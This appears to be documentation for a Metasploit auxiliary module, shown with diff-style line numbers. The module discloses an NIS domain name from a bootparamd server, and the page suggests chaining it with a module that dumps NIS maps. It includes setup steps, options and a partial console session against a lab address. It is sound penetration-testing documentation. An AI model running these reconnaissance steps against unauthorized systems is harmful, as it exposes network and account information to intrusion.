## Intro
2+
3+
From the `bootparamd(8)` man page:
4+
5+
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
6+
7+
The module documented within will allow a tester to disclose the NIS
8+
domain name from a server running `bootparamd`. After knowing the domain
9+
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
10+
dump a map from an NIS server (running as `ypserv`).
11+
12+
## Setup
13+
14+
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
15+
If the link is down, you can find it via the Wayback Machine.
16+
17+
After that is done, install `bootparamd` however your OS provides it.
18+
19+
Make sure you add a client to the `bootparams` file, which is usually at
20+
`/etc/bootparams`. The client should be added to `/etc/hosts` if it
21+
isn't already resolvable.
22+
23+
## Options
24+
25+
**PROTOCOL**
26+
27+
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
28+
29+
**CLIENT**
30+
31+
Set this to the address of a client in the target's `bootparams` file.
32+
Usually this is a host within the same network range as the target.
33+
34+
**XDRTimeout**
35+
36+
Set this to the timeout in seconds for XDR decoding of the response.
37+
38+
## Usage
39+
40+
```
41+
msf > use auxiliary/gather/nis_bootparamd_domain
42+
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
43+
rhost => 192.168.33.10
44+
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
45+
client => 192.168.33.10
46+
msf auxiliary(gather/nis_bootparamd_domain) > run

[*] Auxiliary module execution completed
50+

51+
```
52+
53+
After disclosing the domain name, you can use
54+
`auxiliary/gather/nis_ypserv_map` to dump a map from an NIS server.
55+
56+
```
57+
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
58+
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
59+
rhost => 192.168.33.10
60+

61+
